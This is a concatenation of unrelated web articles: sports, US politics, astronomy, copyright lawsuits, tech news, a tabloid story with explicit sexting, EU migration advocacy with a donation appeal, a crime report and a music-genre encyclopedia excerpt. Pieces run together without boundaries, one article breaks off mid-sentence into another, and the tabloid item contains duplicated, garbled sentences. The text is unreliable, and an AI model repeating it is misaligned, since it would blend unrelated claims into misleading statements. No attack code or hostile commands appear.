OECD Productivity Database. Available at: http://stats.oecd.org/wbos/Index.aspx?DataSetCode=PDYGTHTORONTO -- Blue Jays general manager Ross Atkins expects second baseman Devon Travis to return from a sore right knee and play in the AL Championship Series and says left-hander Francisco Liriano is improving after a concussion last week.
Travis missed the final two games of Toronto's AL Division Series sweep of Texas because of a bone bruise and might have been removed from the roster had the series gone longer.
Atkins said Travis has been able to put weight on the knee while fielding grounders, hitting, and running since being scratched from Game 2.
"Every day is better, every hour is better," Atkins said Monday. "Feeling better and better about him being a part of the ALCS, which is why we didn't replace him. We were optimistic that he would turn the corner and it seems like he is. It's not definite that he's going to be playable but we feel very good about it. Today was his best day."
Lirianio was injured in the eighth inning of Game 2 when he struck in the back of the head by a Carlos Gomez line drive measured at 102 mph. Liriano exited the stadium before Sunday's Game 3 in Toronto because he wasn't feeling well but was feeling better Monday, Atkins said.
"He had an awesome day," Atkins said. "He came in and was able to do some physical activities with no symptoms, which is a very positive sign."
Liriano is ineligible until Game 2 of the ALCS after being removed from Toronto's Division Series roster.
With time to rest and recuperate before the ALCS begins Friday at Cleveland, Atkins said the Blue Jays aren't rushing to line up their rotation.
"We've talked a little bit about several hypotheticals," Atkins said. "Fortunately now we can control it more than most. I think what we'll do is take our time -- not too much to make sure we're not disrupting routine -- but take our time to think through it extensively and make sure we're putting our best foot forward for not only this series but moving beyond it."
Right-hander Marcus Stroman, in line to pitch Game 4 of the ALDS, last started in the Oct. 4 wild card game victory over Baltimore.
"The sooner we decide the sooner we can set up more structure for them," Atkins said.US President Barack Obama speaks about extending middle class tax cuts and the fiscal cliff at the home of Tiffany Santana in Falls Church, Virginia, on December 6, 2012. Tiffany Santana, a high school English teacher, had previously contacted Obama about how an increase in her taxes would affect her family. AFP PHOTO / Saul LOEB (Photo credit should read SAUL LOEB/AFP/Getty Images)
WASHINGTON -- The chairman of the Arizona Republican Party has announced plans to step down, days after he publicly questioned whether President Barack Obama has a "legitimate" birth certificate.
State GOP Chairman Tom Morrissey told azfamily.com on Wednesday that he would not seek a second term in January due to health issues. Morrissey said he is preparing to have knee surgery and wanted to be able to rest after the surgery. Morrissey, who had previously indicated he planned to run again, did not mention the birther claim when he announced he would step down.
“During a recovery you want your stress level to be as low as possible and this job is loaded with stress,” Morrissey told Newsmax.
Morrissey publicly joined the birther movement at Monday's meeting of the Electoral College, when he and two other Arizona electors, Gila County Republican Party Chairman Don Ascoli and former Graham County Republican Chairman John D. Rhodes, questioned Obama's birth certificate. At the time, Morrissey said that he was not questioning whether Obama was born in the United States, but rather if the Hawaiian birth certificate the president produced was "legitimate."
On Tuesday, Morrissey reiterated his skepticism to a radio station in Phoenix, and claimed that he was not aware of the birther movement. He said that he was performing a "sacred trust" as an elector and said he would have raised the same questions about Republican nominee Mitt Romney if concerns had been raised about his birthplace. Morrissey and the rest of Arizona's electors voted for Romney.
"My issue is not whether he was born here or not," Morrissey said to the radio station. "As an elector, I have a sacred trust to protect what is constitutionally viable. What I have seen from the president put out as a birth certificate is not a real document. I am not saying he wasn't born here."
Arizona Gov. Jan Brewer (R) was quick to distance herself from Morrissey and his allies, saying she did not agree with them. Brewer has vetoed birther legislation in the past.The Challenges of Przybylski’s Star
About 370 light years away in the constellation Centaurus is a variable star whose spectrum continues to raise eyebrows. The star is laced with oddball elements like europium, gadolinium, terbium and holmium. Moreover, while iron and nickel appear in unusually low abundances, we get short-lived ultra-heavy elements, actinides like actinium, plutonium, americium and einsteinium. Hence the mystery: How can such short-lived elements persist in the atmosphere of a star? Discovered in 1961 by the Polish-American astronomer Antoni Przybylski, these traits have firmly placed Przybylski’s Star in the A p class of chemically peculiar stars. Its very name is a cause of continuing conversation.
PRZYBYLSKI'S STAR (HD 101065) Blue dwarf with a peculiar spectrum showing an almost complete absence of vowels. — FSVO (@FSVO) November 22, 2012
Well, true enough. If Przybylski’s Star is a challenge to understand, it’s also a challenge to pronounce. Charles Cowley (University of Michigan), who offers a detailed analysis of the star online, met Przybylski in 1964, asking him how to say his name. “He obliged me,” Cowley writes, “and I thought I detected a slight “puff” at the beginning of the sound, which Mike Bessel writes is like “jebilskee”, with the “je” as if it were in French. The initial “P” gets minimal sound.” I think we can go with that, although I’ve seen a variety of pronunciations online.
What we’d like to know once we can say the star’s name is how the heavy elements observed here have come about. A neutron star is one solution, a companion object whose outflow of particles could create heavy elements in Przybylski’s Star, and keep them replenished. The solution seems to work theoretically, but no neutron star is found anywhere near the star. In a new paper, Vladimir Dzuba (University of New South Wales) and colleagues suggest that the actinides in Przybylski’s Star are evidence of the slow decay of superheavy elements.
The idea is that there may be a so-called island of stability involving elements with 114 or more protons in their nuclei, super-heavy elements that nonetheless are long-lived. If these exist, then the short-lived plutonium, einsteinium and the rest found in the star would simply be decay products. We may be, in other words, about to discover a new isotope not produced as a fleeting sample in an experiment but as an element observed in nature. That in itself is not unusual: Penn State’s Jason Wright reminds us that helium was first found in the Sun.
Wright has written a four-part discussion of Przybylski’s Star that begins with Przybylski’s Star I: What’s that? and continues through internal links. As with everything Wright does, it’s informative and also hugely entertaining. Moreover, it takes us however briefly into SETI terrain as Wright raises the point that advanced civilizations might use stars to store nuclear waste, a notion broached by Daniel Whitmire and David Wright as far back as 1980, and considered as well by Carl Sagan and Iosif Shklovskii in their Intelligent Life in the Universe (Holden-Day, 1966). Whitmire and Wright even opined that the most likely stars in which we would find such pollution were late A stars like Przybylski’s Star.
Image: Antoni Przybylski in the early 1960’s. Credit: Mike Bessell (via Charles Cowley’s site).
So we can note that this unusual star could fit into the artifact SETI category even as we continue to figure out the natural reasons why it should show the spectrum that it does. Wright adds this interesting note about the entire field of so-called Dysonian SETI, which scours our astronomical data |
in 1789 with the ratification of the Constitution, the first elections under America’s permanent form of government and the drafting of the Bill of Rights (which was later ratified in 1791).
But it all started with a Declaration of Independence, which set forth the principles of self-government and the legitimizing reasons for government in these words:
We hold these truths to be self-evident, that all men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the pursuit of Happiness. That to secure these rights, Governments are instituted among Men, deriving their just powers from the consent of the governed, that whenever any Form of Government becomes destructive of these ends, it is the Right of the People to alter or to abolish it, and to institute new Government, laying its foundation on such principles and organizing its powers in such a form, as to them shall seem most likely to effect their Safety and Happiness.
Americans have been unpacking principles found in these words for centuries. They include: (1) There is a transcendent Creator who creates all humans equal. (2) God confers certain rights upon every human being that no government can justly take away. (3) The God-given purpose of government is to protect those rights. (4) Legitimate government is by the consent of the governed. (5) When government works against its legitimatizing purposes, the people have the right to change the government.
The Founders adopted the Articles of Confederation as a governmental system to embody the Declaration’s promises. After a decade of trial and error, they adopted the Constitution as a replacement to the Articles, as a better governmental system to deliver on the Declaration’s guarantees.
Constitutional conservatives still debate the relationship between the Declaration and the Constitution. The former is the founding charter of our nation, and the latter is the supreme law of our nation.
Even Justice Scalia and Justice Clarence Thomas did not always agree on this precise relationship. In 2000 the Supreme Court decided Troxel v. Granville, a case on the rights of grandparents.
Justice Thomas wrote a concurring opinion separate from the main opinion, in which he says in part:
I agree with the plurality [opinion] that this Court’s recognition of a fundamental right of parents to direct the upbringing of their children resolves this case. Our decision in [a 1925 case] holds that parents have a fundamental constitutional right to rear their children, including the right to determine who shall educate and socialize them.
Justice Scalia agreed that parents’ rights to raise children is an inalienable right and is protected by the Constitution’s Ninth Amendment against state interference. However, he added in dissent:
The Declaration of Independence, however, is not a legal prescription conferring powers upon the courts; and the Constitution’s refusal to “deny or disparage” other rights is far removed from affirming any one of them, and even farther removed from authorizing judges to identify what they might be, and to enforce the judges’ list against laws duly enacted by the people. Consequently, while I would think it entirely compatible with the commitment to representative democracy set forth in the founding documents to argue, in legislative chambers or in electoral campaigns, that the state has no power to interfere with parents’ authority over the rearing of their children, I do not believe that the power which the Constitution confers upon me as a judge entitles me to deny the legal effect to laws that (in my view) infringe upon what is (in my view) that unenumerated right.
It is not yet clear on this Fourth of July which side Justice Gorsuch finds himself in this debate. But it is clear from his initial set of opinions that he is somewhere firmly in the broader camp that Justices Scalia and Thomas occupy, giving patriots nationwide reason to have high hopes for the role that Justice Gorsuch will play for many Independence Days to come.
Ken Klukowski is senior legal editor for Breitbart News. Follow him on Twitter @kenklukowski.Canadian Internet users are getting a taste of the P2P lawyering that had previously been confined to the US and UK, as Hurt Locker lawsuits have begun moving up to the Great White North. Three ISPs have already been ordered to disclose the identities of users accused of downloading the film, and if the ISPs decide to comply, there could be plenty more lawsuits.
As noted by University of Ottawa law professor Michael Geist, the producers behind Hurt Locker, Voltage Pictures, filed suit against a number of John and Jane Does in Quebec towards the end of August. The suit accuses the anonymous users of downloading, copying, and distributing the film via P2P networks—the users are only identified by IP address, and the Voltage Pictures maintains that the only way to proceed with the case is to obtain names and addresses from their ISPs.
On August 29, the Federal Court in Montréal issued an order to the three ISPs in question—Bell Canada, Cogeco Cable, and Videotron—giving them two weeks to cough up the identities of the users associated with those IPs. Those two weeks expire next Monday, September 12, and the ISPs have yet to give any sort of signal that they won't comply.
Voltage Pictures first began suing users in May of 2010 in the US for allegedly torrenting Hurt Locker—a case that started out with a massive 5,000 users, but quickly bloomed into a much larger (and precarious) monster of P2P lawsuits all over the country. Ever since then, the Washington D.C. District Court has been bombarded with letters claiming innocence, highlighting some of the major problems with using IP address to identify users.
Among other things, the accused have argued that their routers—identified by a single IP address—are used by numerous guests or simply that they don't even know how to download illegal music or movies. Though the claims are difficult to vet, it's clear that using an IP address in an attempt to pinpoint a single individual is problematic to say the least.
Geist pointed out that the prospect of thousands of P2P file sharing suits making their way to Canada makes him all the more grateful for Canada's Bill C-32. The copyright modernization bill makes the distinction between commercial and noncommercial infringers, and limits statutory damages on noncommercial infringers to a maximum of CAN$5,000 for all infringements. "This case confirms that mass lawsuits with the threat of thousands in liability is a real possibility in Canada and why changes to the law are needed," Geist wrote.Affirm allows consumers to purchase items on credit at brick-and-mortar store registers or checkout lines without a traditional credit card. It gives credit to consumers who lack access to traditional credit card companies because of a poor or short-lived credit history, according to the company.
The start-up determines what it will charge consumers based on traditional credit scores as well as less-traditional information like data from profiles on social media and online bill payments, according Affirm.
New financial services technology firms face competition from more established players including big banks as well as PayPal, which Levchin helped found in 1998. He said he expects many of those start-ups will end up being acquired by the bigger, older companies.
"Many will become absorbed into the financial ecosystem and help it innovate itself from within," Levchin said, adding that he hopes Affirm will be one of the companies that remains independent of those major financial institutions.Yosemite National Park would be something quite different were it not for UC Berkeley.
That’s the blue-and-gold current flowing through Yosemite: A Storied Landscape, a just-published e-book that brings to vivid life the California national park that inspires long strings of superlatives — most photographed, most climbed, most lived-in, most historic, most accessible, most inspiring — in celebration of its 150th birthday.
The book also shows off the promise of digital books: Essays easily share space with slideshows (climbers, artworks, the terrain), videos (time-lapse video of the Rim Fire, rioting hippies), animations, information snippets (Ansel Adams wore the jester’s costume in the annual Christmas play), and side trips (what women should wear, and not, on the trail in the early 1900s).
Yosemite is the work of Kerry Tremain, the former California Magazine editor, current digital publisher, Berkeley resident and self-described fan of UC Berkeley. The book was published by Tremain’s company, 36 Views, in cooperation with the California Historical Society. Currently on display at the historical society’s San Francisco gallery is an exhibit of Yosemite art and artifacts that are included in the book — including the skin of one of the park’s last grizzlies and the confession of its killer, both tied to Berkeley.
“I think Berkeley invented the park, in its current form,” says Tremain. (Article continues below the slideshow.)
The university sprang into being not long after a Civil War-era land grant signed by Abraham Lincoln set aside the spectacular Sierra terrain for a park, 150 years ago this year. Ideas born of the young campus’s Western idealism and scientific, environmental bent quickly took hold in the park that many at Berkeley considered their own. The development and ongoing management of the park bear UC Berkeley’s clear imprint to this day.
Berkeley alumni galvanized by Borax millionaire Stephen Mather (class of 1887) drove the founding of the National Park Service in 1916, applying new progressive concepts to everything from stewardship of the land to lodging for park visitors to the handling of park animals.
Mather, along with fellow alum and conservationist Horace Albright, gathered scientists and other influential people at Berkeley for a conference on the importance of Yosemite during the 1915 Panama-Pacific International Exposition across the bay. And he led 15 prominent people on a 12-day trip into the Sierra, taking along renowned chef Tie Sing, who served feasts on white linen — and mourned the loss of his sourdough starter when two pack mules tumbled off a cliff early in the trip.
Many of the most important scientists who developed essential ideas of modern ecology were professors in what is now Berkeley’s College of Natural Resources, and they used Yosemite — and other public lands — as their laboratories. The link between science and the parks will be celebrated and strengthened during a conference planned for March 2015: “Science for Parks, Parks for Science: The Next Century.” The conference is the first step in an initiative at CNR to strengthen the partnership between UC Berkeley and the National Park Service through the next century of the parks.
Berkeley geology professor Joseph LeConte, another early conservationist, took his students to Yosemite and became friends with John Muir. The two founded the Sierra Club in 1892.
Zoology professor Joseph Grinnell conducted seminal studies of the wildlife of the Sierra, centering his work in Yosemite; his work goes on today and is essential to the understanding of climate change’s effects on various species. The tale of the grizzly skin now on display starts in Grinnell’s collections at the Museum of Vertebrate Zoology; Tremain, curating the historical society exhibit, tracked it down from a handwritten letter from 1918 and now is giving it its first public viewing.
Ideas flowing from Berkeley still influence Yosemite and the parks. A student of Grinnell, George Melendez Wright, wrote the science-based wildlife policies that inform the NPS to this day. And when the Rim Fire roared through the Sierra last year, it pretty much stopped when it reached the park border; forest management practices developed at Berkeley were credited with sparing Yosemite, Tremain says; his book illustrates the point with a dramatic time-lapse video of the fire.
On every electronic page you turn in Yosemite, Berkeley names pop up — among them, Chiura Obata, Arthur Pope and Phyllis Ackerman.
Obata, an art professor, used Yosemite as his studio, and his paintings form a foundation of the Berkeley School of art. Imprisoned during World War II because he was Japanese, he taught art to kids in the camps. (Tremain says Robert Sproul himself, then UC president and a Berkeley alum, worked back channels to try to free Obata.) His work springs to life in a slideshow in the e-book.
The design of the Ahwahnee lodge — and National Park Service style in general — owes much to Berkeley-connected architects and designers, including Pope and Ackerman.
Writers who contributed to the book have Berkeley pedigrees, too: Kenneth Brower, Rebecca Solnit, Tremain.
The story of Yosemite, and the Park Service, is bigger than Berkeley, of course. But Berkeley and Berkeley people gave it much of its essence, Yosemite shows.
“It was a set of ideas and ideals and values about the importance of civic responsibility and public duty and creating public institutions that would last and serve people,” says Tremain. ”Berkeley nurtured all that. It was in its DNA.”
“Yosemite” is available online. Forty percent of the book’s profits will go to the California Historical Society and the Yosemite Conservancy.
In celebration of the Yosemite land grant’s 150th anniversary, the National Park Service has posted an illustrated timeline of the park’s history and people’s stories about their connections to the park.A new job posting on Apple's site suggests that the company is preparing to add still and video camera capabilities to its iPad tablet device in the future. The position is for a quality assurance engineer in the Media Systems division of Apple's broader Interactive Media Group and is specifically focused on the "iPad Media" segment of the division.
The Media Systems team is looking for a software quality engineer with a strong technical background to test still, video and audio capture and playback frameworks. Build on your QA experience and knowledge of digital camera technology (still and video) to develop and maintain testing frameworks for both capture and playback pipelines.
According to the job description, the employee will be responsible for assisting the development team by testing performance of their systems and developing appropriate tools for performing the testing.
Familiarity with and interest in photography, video as well as media file formats is highly desirable. Experience with tuning of and image pipeline, including, but not limited to AWB, Color Correction, AutoExposure, FrameRate adjustments is a plus.
The lack of a camera has been seen by many observers as a significant disappointment for the iPad. It does appear, however, that the iPad's enclosure contains an empty space appropriate for a notebook-style iSight camera, and the resulting speculation has included thoughts that Apple had either planned to offer a camera in the iPad but pulled it for unknown reasons or is still planning to offer one in the shipping version but did not include discussion of it during the device's introduction for similarly unknown reasons.New research may have found a solution to one of the biggest problems in physics.
Scientists have been trying for decades to reconcile Einstein's theory of general relativity (the physics that govern large objects) and quantum mechanics (the physics that govern very small objects). Even though both theories are great at describing things in their own realm, the math doesn't work out when you try to combine them.
Now scientists think that wormholes might be the solution, and they even have an equation to combine the two theories: ER = EPR.
Wormholes are theoretical tunnels through the fabric of space-time. They show up in science fiction like the movie Interstellar and the TV show Doctor Who. Wormholes might be a perfect bridge between the two theories because Einstein's theory predicts their existence, and they might be related to a concept in quantum mechanics called entanglement.
The left side of the equation, "ER," stands for Einstein and Nathan Rosen, who together wrote a paper describing wormholes. Wormholes are also referred to as Einstein-Rosen bridges. The right side of the equation, "EPR," stands for Einstein, Rosen and Boris Podolsky, who were the three authors on another paper that described quantum entanglement.
Now, physicist Leonard Susskind recently published a paper outlining how those two Einstein papers are related.
The theory: Wormholes and quantum entanglement might almost be the same thing.
"ER = EPR tells us that the immensely complicated network of entangled subsystems that comprises the universe is also an immensely complicated (and technically complex) network of Einstein-Rosen bridges," Susskind wrote. "To me it seems obvious that if ER = EPR is true it is a very big deal, and it must affect the foundations and interpretation of quantum mechanics."
Quantum entanglement is usually explained as two particles linked in a way that as soon as one thing happens to one particle, the same thing instantly happens to the other particle no matter how far apart they are. But Susskind argues that other things, like black holes for example, can also be entangled. Two entangled black holes on opposite sides of the universe could be linked by a wormhole.
NASA/Dana Berry/SkyWorks Digital Black hole illustration
The implications: This could be huge. We'd finally have a connection between general relativity and quantum mechanics, and we'd be another step closer to a grand "theory of everything." We'll need a lot more research to confirm the idea though.
"What all of this suggests to me, and what I want to suggest to you, is that quantum mechanics and gravity are far more tightly related than we (or at least I) had ever imagined," Susskind concludes in his paper.Ryan Edwards was busted looking for hookups on Tinder despite marrying Mackenzie Standifer in May – and his shocking behavior doesn’t end there! RadarOnline.com can exclusively reveal the Teen Mom OG star sent photos of his penis was busted looking for hookups on Tinder despite marryingin May – and his shocking behavior doesn’t end there! RadarOnline.com can exclusively reveal the Teen Mom OG star sent photos of his penis to another woman.
As Radar exclusively reported, Edwards asked a woman if she’s “down to f**k” on Tinder in messages dated August 12, 2017. After flirting on the dating app, Edwards and the woman switched over to text messaging. “What’s your last name?” The woman asked, as Edwards was hesitant to give it out at first.
When Edwards sent a selfie to prove he is the real Ryan Edwards, she asked, “Why are you on Tinder? I thought you were married.” He shockingly responded, “I am… I still like to have a little fun.
He then asked her to send him a picture. When she told him she would, he responded, “What time u wanna come over?”
The conversation then turned dirty, as she asked, “Are you going to f**k me?” He responded, “Is that what u want?” When she said, “Yeah,” he answered, “Come on then.”
He then gave her a place to meet. “How long u think?” he asked. “I’m going to ride to bike and grab a beer if it’s going to be a while.”
When the woman asked him to send more photos to continue to prove it’s him, he became frustrated and said, “I’m not going to continue to try to prove it’s me.”
But he ended up giving in, as he sent a never-before-seen selfie.
Edwards then took it a step further by sending a photo of his penis. [
“Send me a picture,” he said. “Send me a sexy one. Let me see how pink it is.” He then sent a second photo of his penis.
He continued, “Make me hard. Come on. Send me a video.” When she asked what he wants the video to be of, he responded, “U playing with yourself.” He added, “Come over I told you I’ll let u sit on my face so I can get u good and wet.”
In another series of texts, he tells her that his wife is “out of town.” The tipster explained that she “decided not to go.
Maci Bookout’s baby daddy drove high to their wedding, as he was caught on camera falling asleep at the wheel and slurring his words. He entered rehab after the scene was filmed. Edwards and Standifer tied the knot on May 15, 2017.s baby daddy drove high to their wedding, as he was caught on camera falling asleep at the wheel and slurring his words. He entered rehab after the scene was filmed.
Although Radar can confirm the number linked to the text messages does belong to Edwards, he denied the allegations. “I’m married. Get [the] f**k out of here with that dumb s**t.” MTV has not responded to Radar’s request for comment.Ukraine crisis: Latest news
United Nations: A senior UN diplomat sent to Ukraine's Crimea region to assess the Russian military takeover was threatened at gunpoint on Wednesday, a day after his arrival, and a journalist who witnessed the confrontation said the diplomat was aborting his mission.
The diplomat, Robert Serry, a UN veteran, was confronted by a group of 10 to 15 unidentified gunmen as he left a meeting at a naval facility in the Crimea regional capital of Simferopol, according to an account of the incident provided by Jan Eliasson, the UN Deputy Secretary-General, who spoke from Kiev, the Ukrainian capital.
Mr Eliasson said the gunmen surrounded Mr Serry's car, but he was allowed to go to a cafe to call Mr Eliasson. The identities of the gunmen were not clear.Microsoft Windows boss Terry Myerson announces Windows 10 S. Microsoft Microsoft just introduced Windows 10 S, a new version of the operating system aimed at students of all ages that promises higher performance, better battery life, and tighter security.
Windows 10 S, which Microsoft unveiled at a Tuesday event in New York City, isn't intended for existing PCs. Instead, expect Windows 10 S to debut on cheaper laptops and tablets from PC manufacturers that want to offer more affordable computers with more bang for their buck.
The S stands for "streamlined, significant performance, and security," Microsoft Windows boss Terry Myerson said onstage at Microsoft's event. Myerson said the S also stands for the "soul" of the operating system.
This new version of Windows 10 is a direct shot at Chrome OS, Google's lightweight, browser-based operating system, which has led cheaper Chromebooks to unseat Apple as the No. 2 player in the global education market, behind Microsoft Windows, in only about five years.
But the perks of Windows 10 S come with a trade-off: You'll be able to download and run apps from only the Windows Store, the app store built into Windows 10. That means, at the very least, that you're stuck with Microsoft Edge, the browser built into Windows 10, since Google Chrome or Mozilla Firefox aren't (currently) in the Windows Store.
The full desktop versions of Microsoft Office are coming to the Windows Store "soon," Myerson said.
However, this approach has some ancillary benefits. Because Windows 10 S won't let you run any software that hasn't been vetted by Microsoft for the Windows Store, the chance of getting infected by nasty viruses or malware is greatly reduced. That's a big deal for schools — and anyone nontechnical.
Futuresource Consulting
And the inability to install outside software also greatly reduces the amount of stuff running in the background. That means that, much like Google's Chromebooks, Windows 10 S-powered PCs can boot up quickly and get snappier performance with less slowdown.
Finally, Windows 10 S has one big thing that Chromebooks don't: If you decide the whole Windows Store thing is too limiting, you can pay a relatively small fee to upgrade to a full version of Windows 10 Pro, at which point it becomes your normal, everyday Windows computer — although you theoretically would lose out on better battery life and guaranteed higher performance.
Laptops running Windows 10 S will be available later this year, starting at $229, from a who's who of PC manufacturers. Those new PCs will come with Office 365 for education and a subscription to Minecraft: Education Edition.Done right, hand-drawn illustrations on custom motorcycles can be seriously cool. And Maxwell Paternoster (AKA Corpses from Hell) sure knows how to do it right.
So when we saw a fuel tank adorned with Maxwell’s artwork pop up on his Instagram account, we were immediately curious. And it turns out that the rest of the bike is just as cool.
It’s based on a 95-model Honda CB 750, and it’s been put together by Robinson’s Speed Shop of Leigh on Sea in England. Proprietor Luke Robinson met Maxwell at The Bike Shed event, and they hit it off.
“I’m a massive fan of his work,” says Luke, “so it was brilliant to meet him in person.” Luke commissioned Maxwell to paint a leather jacket for his wife, and the idea of collaborating on a motorcycle followed soon after. The CB 750 was the perfect candidate.
Work began with the subframe: Luke fabricated a new one with a tighter angle and made up a new seat unit designed to also accommodate the electronics. The fuel tank’s from a Honda CB500T—it’s had a new tunnel welded in, so it fits on the wide CB 750 backbone.
But as the bike started coming together, it didn’t feel quite right. “The first dry build looked out of proportion, and like a drag bike,” says Luke. “So I ended up shortening the swingarm by 60mm.”
Luke also dropped the front suspension by 40mm to improve the stance. He’s used a custom-made top yoke, machined to fit a Motogadget Motoscope Mini instrument. (Which unfortunately didn’t arrive in time for the photo shoot.)
“Being a racer myself, I still wanted the bike to be used on track—with another tank though,” says Luke. “Handling is top of the list and still a work-in-progress. It’ll probably result in a front end swap later.”
Luke rebuilt the CB’s engine with new rings and bearings, and had the heads gas-flowed. The bike’s been thoroughly rewired too, and now runs off a small Lithium-ion battery, hidden under the swingarm.
For the exhaust, Luke’s fitted a Danmoto muffler to headers that he hand-made. They’ve been designed to hug the engine a little more, to cater for the drop in ride height.
To replace the air box, a set of air filters were made by bonding filter foam to aluminum housings. “I spent a long time getting the correct length on these—the Venturi effect sure helps iron out the flat spots you get from foam or cone filters.”
Danmoto also supplied the rear-set pegs, and Luke’s fitted clip-ons, adjustable levers and Biltwell Kung-Fu grips. The only switches left on the bars are the kill switch and start buttons. Everything else has been relocated to under the seat.
When all was said and done, the CB was wrapped in black and sent to Maxwell to apply his art—his only brief being to include the shop’s name. “I’m a strong believer that if you’re a fan of someone’s work, then let them do their thing,” says Luke.
Maxwell’s executed his typically kooky artwork beautifully, using a gold leaf technique. And even to our jaded eyes, this CB 750 wears it well.
Robinson’s Speed Shop website | Facebook | Instagram | Maxwell Paternoster Instagram | Photos by Aaron JonesEuropean leaders have been feeling the weight of the hefty migrant quotas they’ve accepted in recent times. But more may be coming.
Bureaucratic bigwigs now want to raise the level of migrants accepted into Europe — and make the figures an across-the-board European Union mandate.
Look at this, from the Express:
“Eurocrats want to enforce an EU-wide system of migrant quotas, decided centrally in Brussels, under which all member states are forced to take in a share of the 1.6 million asylum seekers on the continent. “The policy is being pushed by net contributors to the club, like Germany and Sweden, who have also had to bear the brunt for housing the majority of the new arrivals.”
But Eastern Europe leaders are rebelling.
Hungary and Slovakia leaders took their fury to the European Court of Justice this week. But Germany stood strong and warned the court judges not to find in those countries’ favor.
Leaders like Hungary’s Viktor Orban is among those opposing the migrant quota scheme, and he’s warned of the collapse of culture if numbers are not reeled in.
Again, from the Express:
“[Hungary and Slovankia’s] case rests on the argument that the quota system is illegal under European law because member states, and not Brussels, have competence over immigration and security. Hungarian justice ministry official Krisztian Kecsmar told the court: ‘One of the main arguments is the incorrect legal basis. It is a matter of institutional equilibrium, what role the institutions play in decision-making.’ “However this drew a stinging rebuke from Germany, who lined up alongside France, Sweden, Luxembourg, Belgium, Italy, Greece and the European Commission in opposition. “The other EU members are arguing that the principle of European solidarity is at stake in the case, and that if the judges rule in Hungary and Slovakia’s favour they could deal a lethal blow to the whole principle of the Union. “Pointing to eurocrats’ nerves over the issue, German representative Ralf Kanitz told the court: “The answer you will give to this question will have significance that goes way beyond this case.” “Defeat in the case would leave Europe’s migration policies in total disarray at a time when the bloc is trying to convince voters it has the answers to their concerns in light of Brexit.”
The Truth Must be Told Your contribution supports independent journalism Please take a moment to consider this. Now, more than ever, people are reading Geller Report for news they won't get anywhere else. But advertising revenues have all but disappeared. Google Adsense is the online advertising monopoly and they have banned us. Social media giants like Facebook and Twitter have blocked and shadow-banned our accounts. But we won't put up a paywall. Because never has the free world needed independent journalism more. Everyone who reads our reporting knows the Geller Report covers the news the media won't. We cannot do our ground-breaking report without your support. We must continue to report on the global jihad and the left's war on freedom. Our readers’ contributions make that possible. Geller Report's independent, investigative journalism takes a lot of time, money and hard work to produce. But we do it because we believe our work is critical in the fight for freedom and because it is your fight, too. Please contribute to our ground-breaking work here.
Make a monthly commitment to support The Geller Report – choose the option that suits you best. Contribute Monthly - Choose One Subscriber : $18.00 USD - monthly Contributor : $36.00 USD - monthly Patron : $50.00 USD - monthly Silver member : $100.00 USD - monthly Gold member : $250.00 USD - monthly Platinum member : $500.00 USD - monthlyA 34-year-old man was arrested in connection with a reported burglary of a habitation in which the owner shot the would-be burglar in the butt.
Jacob Ross Moore, 7701 E. Highway 191, was being held Friday at the Ector County Detention Center on bonds totaling $55,000.
According to an Odessa Police Department news release, Moore was arrested in connection with a reported burglary Dec. 7 in the 3200 block of Rembrandt Avenue. He was charged with burglary of a habitation with intent to commit another felony and criminal mischief, a first-degree felony and a state jail felony, respectively.
Hector Garcia, 35, told police that a man he knows started kicking in the door to his home while the person was holding a gun, OPD spokesman Cpl. Steve LeSueur said.
Garcia then fired multiple shots at the man, LeSueur said, hitting him at least once. The man drove away in a truck.
He also reportedly vandalized Garcia’s vehicle by breaking in a window and denting the sides of the vehicle, LeSueur said.
Police immediately went to Medical Center Hospital to find the reported burglar with a gunshot wound to “the area of the buttocks,” LeSueur said.Post-punk revival (also known as "new wave revival",[1] "garage rock revival"[2][3] or "new rock revolution")[4][3] is a genre of indie rock that developed in the late 1990s and early 2000s, inspired by the original sounds and aesthetics of garage rock of the 1960s and new wave and post-punk of the 1980s.[1][2] Bands that broke through to the mainstream from local scenes across the world in the early 2000s included the Strokes, the Killers, Franz Ferdinand, The Kooks, Interpol, Bloc Party, Arctic Monkeys and Kaiser Chiefs who were followed to commercial success by many established and new acts. By the end of the decade, most of the bands had broken up, moved on to other projects or were on hiatus, although some bands returned to recording and touring in the 2010s.
Definitions and characteristics [ edit ]
Interpol, one of the founding post-punk revival bands, pictured here in 2015
In the early 2000s, a new group of bands that played a stripped down and back-to-basics version of guitar rock emerged into the mainstream. They were variously characterized as part of a garage rock, new wave or post-punk revival.[1][5][6][7] Influences ranged from traditional blues, through new wave to grunge.[8] The music ranged from the atonal tracks of bands like Liars to the melodic pop songs of groups like the Sounds,[1] popularising distorted guitar sounds.[9] They shared an emphasis on energetic live performance and used aesthetics (in hair and clothes) closely aligned with their fans,[10] often drawing on fashion of the 1950s and 1960s,[8] with "skinny ties, white belts [and] shag haircuts".[4] There was an emphasis on "rock authenticity" that was seen as a reaction to the commercialism of MTV-oriented nu metal, hip hop[10] and "bland" post-Britpop groups.[11] Because the bands came from countries around the world, cited diverse influences and adopted differing styles of dress, their unity as a genre has been disputed. For garage rock historian Eric James Abbey, these were diverse bands that appropriated (or were given) the label "garage" to gain a degree of credibility.[8]
History [ edit ]
Genres, scenes and origins [ edit ]
There was interest in garage rock and elements of punk in the 1980s and 1990s, and by 2000 local music scenes in several countries had bands playing alternative and indie music.[12] The Detroit rock scene included the White Stripes and the Von Bondies.[13] The city was a crucial stomping ground for Ohio's the Black Keys. New York's scene included the Strokes, Interpol, Yeah Yeah Yeahs, TV On the Radio, the Walkmen, the Rapture, and the Liars.[14] In Los Angeles & San Francisco, the scene was centered around Black Rebel Motorcycle Club, Brian Jonestown Massacre, Dandy Warhols and Silversun Pickups. Other countries had their own local bands incorporating post-punk music.[15][16][17]
The term post-punk was coined to describe groups who took punk and experimented with more challenging musical structures and lyrical themes, and a self-consciously art-based image, while retaining punk's initial iconoclastic stance.[18] AllMusic argued that rather than a revival, the history of post-punk was more of a continuum from the mid-1980s, with scattered bands that included Big Flame, World Domination Enterprises, and Minimal Compact extending the genre. In the mid-1990s, notable bands in this vein included Six Finger Satellite, Brainiac and Elastica.[1] At the turn of the century, the term "post-punk" began to appear in the music press again, with a number of critics reviving the label to describe a new set of bands that shared some of the aesthetics of the original post-punk era. Music critic Simon Reynolds noted that bands like the Rapture and Franz Ferdinand were influenced by the more angular strain of post-punk, particularly bands such as Wire and Gang of Four.[19] Others identified this movement as another wave of garage rock revivalism, with NME in 2003 designating it a "new garage rock revolution",[10] or simply a "new rock revolution".[4] According to music critic Jim DeRogatis, the Strokes, the White Stripes and the Hives all had a sound "to some extent rooted in Nuggets-era garage rock".[6]
